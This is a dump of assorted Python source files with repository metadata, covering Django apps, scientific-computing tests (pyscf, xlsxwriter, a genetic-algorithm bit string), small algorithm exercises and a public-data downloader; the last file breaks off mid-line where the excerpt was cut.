2020-09-07T05:52:41
2020-09-07T05:52:41
293,249,461
0
0
null
null
null
null
UTF-8
Python
false
false
352
py
from django.contrib import admin from .models import Issue, Reply # Register your models here. class IssueAdmin(admin.ModelAdmin): list_display = ('nameA', 'nameB', 'hitcountA', 'hitcountB') class ReplyAdmin(admin.ModelAdmin): list_display = ('pick', 'comment', ) admin.site.register(Issue, IssueAdmin) admin.site.register(Reply, ReplyAdmin)
[ "kimsae123@naver.com" ]
kimsae123@naver.com
90c3b2c3bee3c39ce01648f04b0fa9b8851d6d0e
244ecfc2017a48c70b74556be8c188e7a4815848
/res/scripts/client/notification/notificationlistview.py
be7ae81986417f7c5755017f75ba185fd0c3c8bd
[]
no_license
webiumsk/WOT-0.9.12
c1e1259411ba1e6c7b02cd6408b731419d3174e5
5be5fd9186f335e7bae88c9761c378ff5fbf5351
refs/heads/master
2021-01-10T01:38:36.523788
2015-11-18T11:33:37
2015-11-18T11:33:37
46,414,438
1
0
null
null
null
null
WINDOWS-1250
Python
false
false
3,032
py
# 2015.11.18 11:58:11 Střední Evropa (běžný čas) # Embedded file name: scripts/client/notification/NotificationListView.py from debug_utils import LOG_ERROR from gui.Scaleform.daapi.view.meta.NotificationsListMeta import NotificationsListMeta from messenger.formatters import TimeFormatter from notification.NotificationLayoutView import NotificationLayoutView from notification import NotificationMVC from notification.settings import LIST_SCROLL_STEP_FACTOR, NOTIFICATION_STATE class NotificationListView(NotificationsListMeta, NotificationLayoutView): def __init__(self, _): super(NotificationListView, self).__init__() self.setModel(NotificationMVC.g_instance.getModel()) def onClickAction(self, typeID, entityID, action): NotificationMVC.g_instance.handleAction(typeID, entityID, action) def destroy(self): if self._model.getDisplayState() == NOTIFICATION_STATE.LIST: self._model.setPopupsDisplayState() else: LOG_ERROR('Invalid state of the Notifications Model') super(NotificationListView, self).destroy() def getMessageActualTime(self, msTime): return TimeFormatter.getActualMsgTimeStr(msTime) def _populate(self): super(NotificationListView, self)._populate() self._model.onNotificationReceived += self.__onNotificationReceived self._model.onNotificationUpdated += self.__onNotificationUpdated self._model.onNotificationRemoved += self.__onNotificationRemoved self.as_setInitDataS({'scrollStepFactor': LIST_SCROLL_STEP_FACTOR}) self.__setNotificationList() self._onLayoutSettingsChanged({}) def _dispose(self): self._model.onNotificationReceived -= self.__onNotificationReceived self._model.onNotificationUpdated -= self.__onNotificationUpdated self._model.onNotificationRemoved -= self.__onNotificationRemoved self.__closeCallBack = None self.cleanUp() super(NotificationListView, self)._dispose() return def _onLayoutSettingsChanged(self, settings): pass def __setNotificationList(self): self.as_setMessagesListS(map(lambda item: item.getListVO(), self._model.collection.getListIterator())) def __onNotificationReceived(self, notification): if notification.isAlert(): NotificationMVC.g_instance.getAlertController().showAlertMessage(notification) self.as_appendMessageS(notification.getListVO()) def __onNotificationUpdated(self, notification, _): if notification.isOrderChanged(): self.__setNotificationList() else: self.as_updateMessageS(notification.getListVO()) def __onNotificationRemoved(self, typeID, entityID): self.__setNotificationList() # okay decompyling c:\Users\PC\wotsources\files\originals\res\scripts\client\notification\notificationlistview.pyc # decompiled 1 files: 1 okay, 0 failed, 0 verify failed # 2015.11.18 11:58:12 Střední Evropa (běžný čas)
[ "info@webium.sk" ]
info@webium.sk
6b5bf4b3fed8b652d998a7f69d2b10152094f015
9de053b81f142f9e5cc596472653a5ffc44ec568
/2019Nov/adhoc2/next_palindrome_submission1.py
040fc294e2d866c11401bea6a5a248aa590f6844
[ "Apache-2.0" ]
permissive
MrCsabaToth/IK
bbbd7c7b95a1eae7ad93e46abc96d145d14579af
d0b5235e1f2307c33ffa3d8c3335fdd25f27df8b
refs/heads/master
2022-10-14T05:38:34.052119
2022-09-15T23:41:42
2022-09-15T23:41:42
222,153,073
0
0
null
null
null
null
UTF-8
Python
false
false
1,732
py
# Complete the function below. def next_palindrome(n): digits = [] while n: digits.insert(0, n % 10) n = n // 10 if not digits: digits = [0] # Search for the first differring digit from the half back to the start l = len(digits) half = (l - 1) // 2 i = half incd = False while i >= 0: if digits[i] == digits[l - 1 - i]: i -= 1 else: if digits[i] < digits[l - 1 - i]: incd = True j = half carry = 1 while j >= i and carry: digit = digits[j] + carry digits[j] = digit % 10 digits[l - 1 - j] = digit % 10 carry = digit // 10 j -= 1 if carry: digits[i] += 1 break # We can mirror the rest of the beginning to the end while i >= 0: if digits[l - 1 - i] < digits[i]: incd = True digits[l - 1 - i] = digits[i] i -= 1 # Make sure the number will be bigger if there wasn't an increase so far if not incd: i = half digits[i] += 1 if i != l - 1 - i: digits[l - 1 - i] += 1 # Fix digits incremented from 9 to 10 i = half carry = 0 while i >= 0: digit = digits[i] + carry if carry or digit >= 9: digits[i] = digit % 10 digits[l - 1 - i] = digit % 10 carry = digit // 10 i -= 1 if carry: digits[0] = 1 digits.append(1) pal = 0 mult = 1 for digit in digits[::-1]: pal += mult * digit mult *= 10 return pal
[ "csaba.toth.us@gmail.com" ]
csaba.toth.us@gmail.com
ed515663632c63dddbce21f62f48792795d0f6e2
3dcc44bf8acd3c6484b57578d8c5595d8119648d
/graft_pdb.py
c6019a158b94f71f176cc45ed3072b2e46631b05
[]
no_license
rhiju/rhiju_python
f0cab4dfd4dd75b72570db057a48e3d65e1d92c6
eeab0750fb50a3078a698d190615ad6684dc2411
refs/heads/master
2022-10-29T01:59:51.848906
2022-10-04T21:28:41
2022-10-04T21:28:41
8,864,938
0
3
null
null
null
null
UTF-8
Python
false
false
1,847
py
#!/usr/bin/python from read_pdb import read_pdb from sys import argv from parse_options import parse_options # Note, this assumes that the pdb's are already aligned! graft_res = parse_options( argv, "graft_res", [-1] ) main_pdb = argv[1] scratch_pdb = argv[2] [ coords_main, lines_main, sequence_main ] = read_pdb( main_pdb ) [ coords_scratch, lines_scratch, sequence_scratch ] = read_pdb( scratch_pdb ) # get rid of entries that are not in graft_res: if len( graft_res ) > 0: lines_scratch_new = {} for chain in lines_scratch.keys(): lines_scratch_new[ chain ] = {} for resi in lines_scratch[ chain ]: if resi in graft_res: lines_scratch_new[ chain ][ resi ] = lines_scratch[ chain ][ resi ] lines_scratch = lines_scratch_new # remove atoms in main_pdb that are being replaced by scratch_pdb: for chain in lines_scratch.keys(): if chain not in lines_main.keys(): continue for resi in lines_scratch[ chain ]: if resi not in lines_main[ chain ].keys(): continue for atom in lines_scratch[ chain ][ resi ]: if atom not in lines_main[ chain ][ resi ].keys(): continue del( lines_main[ chain ][ resi ][ atom ] ) for chain in lines_scratch.keys(): if not chain in lines_main.keys(): lines_main[ chain ] = {} for resi in lines_scratch[ chain ]: if not resi in lines_main[ chain ].keys(): lines_main[ chain ][ resi ] = {} for atom in lines_scratch[ chain ][ resi ]: lines_main[ chain ][ resi ][ atom ] = lines_scratch[ chain ][ resi ][ atom ] chains = lines_main.keys() chains.sort() for chain in chains: residues = lines_main[ chain ].keys() residues.sort() for resi in residues: for atom in lines_main[ chain ][ resi ]: print lines_main[ chain ][ resi ][ atom ]
[ "rhiju@stanford.edu" ]
rhiju@stanford.edu
1e8c343d17fabbbbc77a49777033205b11cd052d
881041fab1b4d05f1c5371efed2f9276037eb609
/tasks/math-test-results-2006-2012-school-swd/depositor.py
b24a704d3eaa853f659a666415e43eb8d14252b0
[]
no_license
ResidentMario/urban-physiology-nyc-catalog
b568f3b6ee1a887a50c4df23c488f50c92e30625
cefbc799f898f6cdf24d0a0ef6c9cd13c76fb05c
refs/heads/master
2021-01-02T22:43:09.073952
2017-08-06T18:27:22
2017-08-06T18:27:22
99,377,500
0
0
null
null
null
null
UTF-8
Python
false
false
386
py
import requests r = requests.get("https://data.cityofnewyork.us/api/views/i99z-ad8n/rows.csv?accessType=DOWNLOAD") with open("/home/alex/Desktop/urban-physiology-nyc-catalog/catalog/math-test-results-2006-2012-school-swd/data.csv", "wb") as f: f.write(r.content) outputs = ["/home/alex/Desktop/urban-physiology-nyc-catalog/catalog/math-test-results-2006-2012-school-swd/data.csv"]
[ "aleksey.bilogur@gmail.com" ]
aleksey.bilogur@gmail.com
f18a209ac67b11f466cf13d30a2897c9097a38e4
bbab3c62b28936f634bfd238d35b614f5b8fb050
/config/wsgi.py
ba7979aa8cc504fc6b4e6c5d57a0ab841f52f2bd
[ "BSD-3-Clause" ]
permissive
p-v-o-s/hydro
ba2547bc4f369c4c37cafca63657d55960fef62d
34eaf227043c69b921650aa120516533d61c6854
refs/heads/master
2021-01-10T06:01:53.640636
2016-02-25T01:48:05
2016-02-25T01:48:05
52,483,062
0
0
null
null
null
null
UTF-8
Python
false
false
1,618
py
""" WSGI config for Hydro project. This module contains the WSGI application used by Django's development server and any production WSGI deployments. It should expose a module-level variable named ``application``. Django's ``runserver`` and ``runfcgi`` commands discover this application via the ``WSGI_APPLICATION`` setting. Usually you will have the standard Django WSGI application here, but it also might make sense to replace the whole Django WSGI application with a custom one that later delegates to the Django one. For example, you could introduce WSGI middleware here, or combine a Django application with an application of another framework. """ import os from django.core.wsgi import get_wsgi_application from whitenoise.django import DjangoWhiteNoise # We defer to a DJANGO_SETTINGS_MODULE already in the environment. This breaks # if running multiple sites in the same mod_wsgi process. To fix this, use # mod_wsgi daemon mode with each site in its own daemon process, or use # os.environ["DJANGO_SETTINGS_MODULE"] = "config.settings.production" os.environ.setdefault("DJANGO_SETTINGS_MODULE", "config.settings.production") # This application object is used by any WSGI server configured to use this # file. This includes Django's development server, if the WSGI_APPLICATION # setting points here. application = get_wsgi_application() # Use Whitenoise to serve static files # See: https://whitenoise.readthedocs.org/ application = DjangoWhiteNoise(application) # Apply WSGI middleware here. # from helloworld.wsgi import HelloWorldApplication # application = HelloWorldApplication(application)
[ "donblair@gmail.com" ]
donblair@gmail.com
7c3965d73a7c4adfb3387f984b28fd06eeed4777
90fb55320c81259cb199b9a8900e11b2ba63da4f
/150/test_jsonify.py
3ffde90d2cd9db6d1c1e48c6fd35b77b997346fd
[]
no_license
pogross/bitesofpy
f9bd8ada790d56952026a938b1a34c20562fdd38
801f878f997544382e0d8650fa6b6b1b09fa5b81
refs/heads/master
2020-05-19T07:31:44.556896
2020-01-26T12:48:28
2020-01-26T12:48:28
184,899,394
1
1
null
null
null
null
UTF-8
Python
false
false
2,081
py
import json import pytest from jsonify import convert_to_json @pytest.fixture(scope="module") def output(): return convert_to_json() def test_type_output_is_json_str(output): assert type(output) == str assert len(output) == 938 def test_extracted_data_is_correct(output): data = json.loads(output) assert type(data) == list assert len(data) == 10 for row in [ { "id": "1", "first_name": "Junie", "last_name": "Kybert", "email": "jkybert0@army.mil", }, { "id": "2", "first_name": "Sid", "last_name": "Churching", "email": "schurching1@tumblr.com", }, { "id": "3", "first_name": "Cherry", "last_name": "Dudbridge", "email": "cdudbridge2@nifty.com", }, { "id": "4", "first_name": "Merrilee", "last_name": "Kleiser", "email": "mkleiser3@reference.com", }, { "id": "5", "first_name": "Umeko", "last_name": "Cray", "email": "ucray4@foxnews.com", }, { "id": "6", "first_name": "Jenifer", "last_name": "Dale", "email": "jdale@hubpages.com", }, { "id": "7", "first_name": "Deeanne", "last_name": "Gabbett", "email": "dgabbett6@ucoz.com", }, { "id": "8", "first_name": "Hymie", "last_name": "Valentin", "email": "hvalentin7@blogs.com", }, { "id": "9", "first_name": "Alphonso", "last_name": "Berwick", "email": "aberwick8@symantec.com", }, { "id": "10", "first_name": "Wyn", "last_name": "Serginson", "email": "wserginson9@naver.com", }, ]: assert row in data, f"{row} not in output of convert_to_json"
[ "p.gross@tu-bs.de" ]
p.gross@tu-bs.de
32f7dd1d7b51ec2d0210283a9dc7a3bb609cf0e8
155cbccc3ef3b8cba80629f2a26d7e76968a639c
/thelma/stringconv.py
1ad3eb3bb10f889ec33bb8af437cb6a5ca90f91c
[ "MIT" ]
permissive
papagr/TheLMA
1fc65f0a7d3a4b7f9bb2d201259efe5568c2bf78
d2dc7a478ee5d24ccf3cc680888e712d482321d0
refs/heads/master
2022-12-24T20:05:28.229303
2020-09-26T13:57:48
2020-09-26T13:57:48
279,159,864
1
0
MIT
2020-07-12T22:40:36
2020-07-12T22:40:35
null
UTF-8
Python
false
false
810
py
""" This file is part of the TheLMA (THe Laboratory Management Application) project. See LICENSE.txt for licensing, CONTRIBUTORS.txt for contributor information. String conversion utilities. """ import string # pylint: disable=W0402 __docformat__ = 'reStructuredText en' __all__ = ['reverse_dna_sequence'] def reverse_dna_sequence(sequence): """ Convert a DNA strand to its reverse complement. Based on http://www.wellho.net/resources/ex.php4?item=y108/seqrev.py :param str sequence: a DNA sequence :returns: reverse complement of sequence :rtype: str """ seq = sequence.upper() trans_table = string.maketrans('ACGT', 'TGCA') base_list = list(seq.translate(trans_table, ' \n')) base_list.reverse() reverse_seq = ''.join(base_list) return reverse_seq
[ "fogathmann@gmail.com" ]
fogathmann@gmail.com
14bd94859be6dc333059ce913586a5db38294c43
d80985ad17b38d63a41f728cd7c90ac22dfae254
/Advanced Python Objects and Data Structures/Advanced Dictionaries/addict.py
c0df572233b7928bcbe3678d5de6e98d5aa70a20
[]
no_license
JitenKumar/PythonPracticeStepByStep
ebd313ddc59217a03b69efd67584e003ded35036
6b30c7d2ea9c6269ba6144d396e13539374fafd3
refs/heads/master
2021-04-09T16:14:32.177132
2018-04-01T20:12:08
2018-04-01T20:12:08
125,598,971
0
0
null
null
null
null
UTF-8
Python
false
false
244
py
# Dictionaries comprehensions print({a:a**4 for a in range(10)}) d = {a:a*3 for a in range(4)} for k in d.values(): print(k) for k in d.items(): print(k) for k in d.keys(): print(k) # viewing key and values print(d.keys())
[ "jitenderpalsra@gmail.com" ]
jitenderpalsra@gmail.com
c40ddd9b1101401cca49169c0579f28d0b534e51
da19363deecd93a73246aaea877ee6607daa6897
/xlsxwriter/test/xmlwriter/test_xmlwriter.py
6a2931d92ab9fb90c0e597db71d5720c89c9389e
[]
no_license
UNPSJB/FarmaciaCrisol
119d2d22417c503d906409a47b9d5abfca1fc119
b2b1223c067a8f8f19019237cbf0e36a27a118a6
refs/heads/master
2021-01-15T22:29:11.943996
2016-02-05T14:30:28
2016-02-05T14:30:28
22,967,417
0
0
null
null
null
null
UTF-8
Python
false
false
5,164
py
############################################################################### # # Tests for XlsxWriter. # # Copyright (c), 2013-2015, John McNamara, jmcnamara@cpan.org # import unittest from ...compatibility import StringIO from ...xmlwriter import XMLwriter class TestXMLwriter(unittest.TestCase): """ Test the XML Writer class. """ def setUp(self): self.fh = StringIO() self.writer = XMLwriter() self.writer._set_filehandle(self.fh) def test_xml_declaration(self): """Test _xml_declaration()""" self.writer._xml_declaration() exp = """<?xml version="1.0" encoding="UTF-8" standalone="yes"?>\n""" got = self.fh.getvalue() self.assertEqual(got, exp) def test_xml_start_tag(self): """Test _xml_start_tag() with no attributes""" self.writer._xml_start_tag('foo') exp = """<foo>""" got = self.fh.getvalue() self.assertEqual(got, exp) def test_xml_start_tag_with_attributes(self): """Test _xml_start_tag() with attributes""" self.writer._xml_start_tag('foo', [('span', '8'), ('baz', '7')]) exp = """<foo span="8" baz="7">""" got = self.fh.getvalue() self.assertEqual(got, exp) def test_xml_start_tag_with_attributes_to_escape(self): """Test _xml_start_tag() with attributes requiring escaping""" self.writer._xml_start_tag('foo', [('span', '&<>"')]) exp = """<foo span="&amp;&lt;&gt;&quot;">""" got = self.fh.getvalue() self.assertEqual(got, exp) def test_xml_start_tag_unencoded(self): """Test _xml_start_tag_unencoded() with attributes""" self.writer._xml_start_tag_unencoded('foo', [('span', '&<>"')]) exp = """<foo span="&<>"">""" got = self.fh.getvalue() self.assertEqual(got, exp) def test_xml_end_tag(self): """Test _xml_end_tag()""" self.writer._xml_end_tag('foo') exp = """</foo>""" got = self.fh.getvalue() self.assertEqual(got, exp) def test_xml_empty_tag(self): """Test _xml_empty_tag()""" self.writer._xml_empty_tag('foo') exp = """<foo/>""" got = self.fh.getvalue() self.assertEqual(got, exp) def test_xml_empty_tag_with_attributes(self): """Test _xml_empty_tag() with attributes""" self.writer._xml_empty_tag('foo', [('span', '8')]) exp = """<foo span="8"/>""" got = self.fh.getvalue() self.assertEqual(got, exp) def test_xml_empty_tag_unencoded(self): """Test _xml_empty_tag_unencoded() with attributes""" self.writer._xml_empty_tag_unencoded('foo', [('span', '&')]) exp = """<foo span="&"/>""" got = self.fh.getvalue() self.assertEqual(got, exp) def test_xml_data_element(self): """Test _xml_data_element()""" self.writer._xml_data_element('foo', 'bar') exp = """<foo>bar</foo>""" got = self.fh.getvalue() self.assertEqual(got, exp) def test_xml_data_element_with_attributes(self): """Test _xml_data_element() with attributes""" self.writer._xml_data_element('foo', 'bar', [('span', '8')]) exp = """<foo span="8">bar</foo>""" got = self.fh.getvalue() self.assertEqual(got, exp) def test_xml_data_element_with_escapes(self): """Test _xml_data_element() with data requiring escaping""" self.writer._xml_data_element('foo', '&<>"', [('span', '8')]) exp = """<foo span="8">&amp;&lt;&gt;"</foo>""" got = self.fh.getvalue() self.assertEqual(got, exp) def test_xml_string_element(self): """Test _xml_string_element()""" self.writer._xml_string_element(99, [('span', '8')]) exp = """<c span="8" t=\"s\"><v>99</v></c>""" got = self.fh.getvalue() self.assertEqual(got, exp) def test_xml_si_element(self): """Test _xml_si_element()""" self.writer._xml_si_element('foo', [('span', '8')]) exp = """<si><t span="8">foo</t></si>""" got = self.fh.getvalue() self.assertEqual(got, exp) def test_xml_rich_si_element(self): """Test _xml_rich_si_element()""" self.writer._xml_rich_si_element('foo') exp = """<si>foo</si>""" got = self.fh.getvalue() self.assertEqual(got, exp) def test_xml_number_element(self): """Test _xml_number_element()""" self.writer._xml_number_element(99, [('span', '8')]) exp = """<c span="8"><v>99</v></c>""" got = self.fh.getvalue() self.assertEqual(got, exp) def test_xml_formula_element(self): """Test _xml_formula_element()""" self.writer._xml_formula_element('1+2', 3, [('span', '8')]) exp = """<c span="8"><f>1+2</f><v>3</v></c>""" got = self.fh.getvalue() self.assertEqual(got, exp)
[ "lealuque.tw@gmail.com" ]
lealuque.tw@gmail.com
1be3a72153991696fa394036724ae4bee487d226
a3f3c625af98882a7f1775de1e6187f1ead4e32b
/tests/ga/bit_string/crossover_tests.py
26904ba7b5f5845feb3d67d7fb942d0f960c9005
[ "MIT" ]
permissive
StanJBrown/playground
e0846986af5939be77ee561794b5bd0c94a37c28
f372c3c547d0ad34f9bdffaa2b2e93d089a3f5a4
refs/heads/master
2020-07-01T11:45:45.410104
2014-12-12T19:19:39
2014-12-12T19:19:39
null
0
0
null
null
null
null
UTF-8
Python
false
false
4,216
py
#!/usr/bin/env python2 import sys import os import random import unittest sys.path.append(os.path.join(os.path.dirname(__file__), "../../../")) from playground.ga.bit_string.generator import BitStringGenerator from playground.ga.bit_string.crossover import BitStringCrossover class BitStringCrossoverTests(unittest.TestCase): def setUp(self): self.config = { "max_population": 10, "bitstring_generation": { "genome_length": 10 }, "codons": [ "0000", "0001", "0010", "0011", "0100", "0101", "0110", "0111", "1000", "1001", "1011", "1111" ], "crossover": { "method": "ONE_POINT_CROSSOVER", "probability": 1.0 } } generator = BitStringGenerator(self.config) self.bitstr_1 = generator.generate_random_bitstr() self.bitstr_2 = generator.generate_random_bitstr() self.crossover = BitStringCrossover(self.config) def test_uniform_random_index(self): i = self.crossover.uniform_random_index(self.bitstr_1, self.bitstr_2) self.assertTrue(i is not None) self.assertTrue(i < self.bitstr_1.length) self.assertTrue(i < self.bitstr_2.length) def test_one_point_crossover(self): bitstr_1_before = list(self.bitstr_1.genome) bitstr_2_before = list(self.bitstr_2.genome) index = random.randint(0, self.bitstr_1.length) print "BITSTR 1 [BEFORE]:", self.bitstr_1.genome print "BITSTR 2 [BEFORE]:", self.bitstr_2.genome print "INDEX:", index self.crossover.one_point_crossover(self.bitstr_1, self.bitstr_2, index) bitstr_1_after = list(self.bitstr_1.genome) bitstr_2_after = list(self.bitstr_2.genome) print "BITSTR 1 [AFTER]:", self.bitstr_1.genome print "BITSTR 2 [AFTER]:", self.bitstr_2.genome # assert self.assertFalse(bitstr_1_before == bitstr_1_after) self.assertFalse(bitstr_2_before == bitstr_2_after) # change it back to its original form bstr_1_half = list(bitstr_1_after[0:index]) bstr_2_half = list(bitstr_2_after[0:index]) bitstr_1_after[0:index] = bstr_2_half bitstr_2_after[0:index] = bstr_1_half self.assertTrue(bitstr_1_before == bitstr_1_after) self.assertTrue(bitstr_2_before == bitstr_2_after) def test_crossover(self): bitstr_1_before = list(self.bitstr_1.genome) bitstr_2_before = list(self.bitstr_2.genome) print "BITSTR 1 [BEFORE]:", self.bitstr_1.genome print "BITSTR 2 [BEFORE]:", self.bitstr_2.genome self.crossover.crossover(self.bitstr_1, self.bitstr_2) bitstr_1_after = list(self.bitstr_1.genome) bitstr_2_after = list(self.bitstr_2.genome) print "BITSTR 1 [AFTER]:", self.bitstr_1.genome print "BITSTR 2 [AFTER]:", self.bitstr_2.genome # assert self.assertFalse(bitstr_1_before == bitstr_1_after) self.assertFalse(bitstr_2_before == bitstr_2_after) self.config["crossover"]["method"] = "RANDOM_CROSSOVER" self.assertRaises( RuntimeError, self.crossover.crossover, self.bitstr_1, self.bitstr_2 ) def test_to_dict(self): self.crossover.crossover(self.bitstr_1, self.bitstr_2) cross_dict = self.crossover.to_dict() # import pprint # pprint.pprint(cross_dict) self.assertEqual(cross_dict["method"], "ONE_POINT_CROSSOVER") self.assertTrue(cross_dict["index"] is not None) self.assertTrue(cross_dict["crossover_probability"] is not None) self.assertTrue(cross_dict["random_probability"] is not None) self.assertTrue(cross_dict["crossovered"] is not None) self.assertEqual(len(cross_dict["before_crossover"]), 2) self.assertEqual(len(cross_dict["after_crossover"]), 2) if __name__ == '__main__': random.seed(0) unittest.main()
[ "chutsu@gmail.com" ]
chutsu@gmail.com
9b30b0c808fbdfeae8cb4513a47e8a53a0a9dcca
dfb53581b4e6dbdc8e3789ea2678de1e1c4b5962
/Django/mydjango03/index/migrations/0007_book_publisher.py
7ca9a10eeabb3c3791545eac08f01a6782feaee0
[]
no_license
biabulinxi/Python-ML-DL
7eff6d6898d72f00575045c5aa2acac45b4b0b82
217d594a3c0cba1e52550f74d100cc5023fb415b
refs/heads/master
2020-06-01T09:13:17.314121
2019-06-08T03:59:36
2019-06-08T03:59:36
null
0
0
null
null
null
null
UTF-8
Python
false
false
466
py
# Generated by Django 2.1.4 on 2019-02-22 03:00 from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): dependencies = [ ('index', '0006_wife'), ] operations = [ migrations.AddField( model_name='book', name='publisher', field=models.ForeignKey(null=True, on_delete=django.db.models.deletion.CASCADE, to='index.Publisher'), ), ]
[ "biabu1208@163.com" ]
biabu1208@163.com
b8a5376fa6a1058fb0fd4322666ad19c8b5238bb
6b2a8dd202fdce77c971c412717e305e1caaac51
/solutions_1483488_1/Python/singleheart/c.py
eef4b5430b7cd0c284686078969ee085ec36d55c
[]
no_license
alexandraback/datacollection
0bc67a9ace00abbc843f4912562f3a064992e0e9
076a7bc7693f3abf07bfdbdac838cb4ef65ccfcf
refs/heads/master
2021-01-24T18:27:24.417992
2017-05-23T09:23:38
2017-05-23T09:23:38
84,313,442
2
4
null
null
null
null
UTF-8
Python
false
false
426
py
#!/usr/bin/python # C. Recycled Numbers import sys import math f = sys.stdin T = int(f.readline()) for t in range(1, T+1): input = [int(i) for i in f.readline().split()] A = input[0] B = input[1] result = 0 for i in range(A, B + 1): a = str(i) l = [] for j in range(1, len(a)): n = int(a[j:]+a[:j]) if A <= i < n <= B and n not in l: result += 1 l.append(n) print "Case #%d: %s" % (t, result)
[ "eewestman@gmail.com" ]
eewestman@gmail.com
664115b0425aa27c71d12fadd2e00311949103ab
ca7aa979e7059467e158830b76673f5b77a0f5a3
/Python_codes/p03448/s012162924.py
6db46d438c2f6ab6e1f068c3b27a22c7faae63ef
[]
no_license
Aasthaengg/IBMdataset
7abb6cbcc4fb03ef5ca68ac64ba460c4a64f8901
f33f1c5c3b16d0ea8d1f5a7d479ad288bb3f48d8
refs/heads/main
2023-04-22T10:22:44.763102
2021-05-13T17:27:22
2021-05-13T17:27:22
367,112,348
0
0
null
null
null
null
UTF-8
Python
false
false
274
py
a = int(input()) b = int(input()) c = int(input()) x = int(input()) res = 0 for i in range(a+1): aa = 500*i for j in range(b+1): bb = 100*j for k in range(c+1): cc = 50*k if aa+ bb+ cc ==x: res +=1 print(res)
[ "66529651+Aastha2104@users.noreply.github.com" ]
66529651+Aastha2104@users.noreply.github.com
79eee5d0fce5dcf87b8099064560626fe5cb87f1
b6bcfd935f7876fc65416e7340fda1c9b0516fd7
/pyscf/grad/test/test_h2o.py
6e8addc0191d825e59b075cd757355246597cd65
[ "Apache-2.0" ]
permissive
lzypotato/pyscf
62f849b9a3ec8480c3da63a5822ea780608796b2
94c21e2e9745800c7efc7256de0d628fc60afc36
refs/heads/master
2020-09-06T22:45:04.191935
2019-06-18T06:04:48
2019-06-18T06:04:48
220,578,540
1
0
Apache-2.0
2019-11-09T02:13:16
2019-11-09T02:13:15
null
UTF-8
Python
false
false
5,343
py
#!/usr/bin/env python # Copyright 2014-2018 The PySCF Developers. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. import unittest import numpy from pyscf import gto, scf, dft, lib from pyscf import grad from pyscf.grad import rks, uks, roks h2o = gto.Mole() h2o.verbose = 5 h2o.output = '/dev/null' h2o.atom = [ ["O" , (0. , 0. , 0.)], [1 , (0. , -0.757 , 0.587)], [1 , (0. , 0.757 , 0.587)] ] h2o.basis = '6-31g' h2o.build() h2o_n = gto.Mole() h2o_n.verbose = 5 h2o_n.output = '/dev/null' h2o_n.atom = [ ["O" , (0. , 0. , 0.)], [1 , (0. , -0.757 , 0.587)], [1 , (0. , 0.757 , 0.587)] ] h2o_n.charge = -1 h2o_n.spin = 1 h2o_n.basis = '6-31g' h2o_n.build() h2o_p = gto.Mole() h2o_p.verbose = 5 h2o_p.output = '/dev/null' h2o_p.atom = [ ["O" , (0. , 0. , 0.)], [1 , (0. , -0.757 , 0.587)], [1 , (0. , 0.757 , 0.587)] ] h2o_p.charge = 1 h2o_p.spin = 1 h2o_p.basis = '6-31g' h2o_p.build() def tearDownModule(): global h2o, h2o_n, h2o_p h2o.stdout.close() h2o_n.stdout.close() h2o_p.stdout.close() del h2o, h2o_n, h2o_p def finger(mat): return abs(mat).sum() class KnownValues(unittest.TestCase): def test_nr_rhf(self): rhf = scf.RHF(h2o) rhf.conv_tol = 1e-14 rhf.kernel() g = grad.RHF(rhf) self.assertAlmostEqual(finger(g.grad_elec()), 10.126405944938071, 6) def test_r_uhf(self): uhf = scf.dhf.UHF(h2o) uhf.conv_tol = 1e-12 uhf.kernel() g = grad.DHF(uhf) self.assertAlmostEqual(finger(g.grad_elec()), 10.126445612578864, 6) def test_nr_uhf(self): mf = scf.UHF(h2o_n) mf.conv_tol = 1e-14 mf.kernel() g = grad.UHF(mf) self.assertAlmostEqual(lib.finger(g.grad_elec()), 4.2250348208172541, 6) def test_nr_rohf(self): mf = scf.ROHF(h2o_n) mf.conv_tol = 1e-14 mf.kernel() g = grad.ROHF(mf) self.assertAlmostEqual(lib.finger(g.grad_elec()), 4.1499791106739679, 6) def test_energy_nuc(self): rhf = scf.RHF(h2o) g = grad.RHF(rhf) self.assertAlmostEqual(finger(g.grad_nuc()), 10.086972893020102, 9) def test_ccsd(self): from pyscf import cc rhf = scf.RHF(h2o) rhf.kernel() mycc = cc.CCSD(rhf) mycc.kernel() mycc.solve_lambda() g1 = grad.ccsd.kernel(mycc) self.assertAlmostEqual(finger(g1), 0.065802850540912422, 6) def test_rks_lda(self): mf = dft.RKS(h2o) mf.grids.prune = None mf.run(conv_tol=1e-14, xc='lda,vwn') g = rks.Grad(mf) self.assertAlmostEqual(finger(g.grad()), 0.098438461959390822, 6) g.grid_response = True self.assertAlmostEqual(finger(g.grad()), 0.098441823256625829, 6) def test_rks_bp86(self): mf = dft.RKS(h2o) mf.grids.prune = None mf.run(conv_tol=1e-14, xc='b88,p86') g = rks.Grad(mf) self.assertAlmostEqual(finger(g.grad()), 0.10362532283229957, 6) g.grid_response = True self.assertAlmostEqual(finger(g.grad()), 0.10357804241970789, 6) def test_rks_b3lypg(self): mf = dft.RKS(h2o) mf.grids.prune = None mf.run(conv_tol=1e-14, xc='b3lypg') g = rks.Grad(mf) self.assertAlmostEqual(finger(g.grad()), 0.066541921001296467, 6) g.grid_response = True self.assertAlmostEqual(finger(g.grad()), 0.066543737224608879, 6) def test_uks_lda(self): mf = dft.UKS(h2o_p) mf.run(conv_tol=1e-14, xc='lda,vwn') g = uks.Grad(mf) self.assertAlmostEqual(lib.finger(g.grad()), -0.12090786418355501, 6) g.grid_response = True self.assertAlmostEqual(lib.finger(g.grad()), -0.12091122603875157, 6) def test_roks_lda(self): mf = dft.ROKS(h2o_p) mf.run(conv_tol=1e-14, xc='lda,vwn') g = roks.Grad(mf) self.assertAlmostEqual(lib.finger(g.grad()), -0.12051785975616186, 6) g.grid_response = True self.assertAlmostEqual(lib.finger(g.grad()), -0.12052121736985746, 6) def test_uks_b3lypg(self): mf = dft.UKS(h2o_n) mf.run(conv_tol=1e-14, xc='b3lypg') g = uks.Grad(mf) self.assertAlmostEqual(lib.finger(g.grad()), -0.1436034999176907, 6) g.grid_response = True self.assertAlmostEqual(lib.finger(g.grad()), -0.14360504586558553, 6) def test_roks_b3lypg(self): mf = dft.ROKS(h2o_n) mf.run(conv_tol=1e-14, xc='b3lypg') g = roks.Grad(mf) self.assertAlmostEqual(lib.finger(g.grad()), 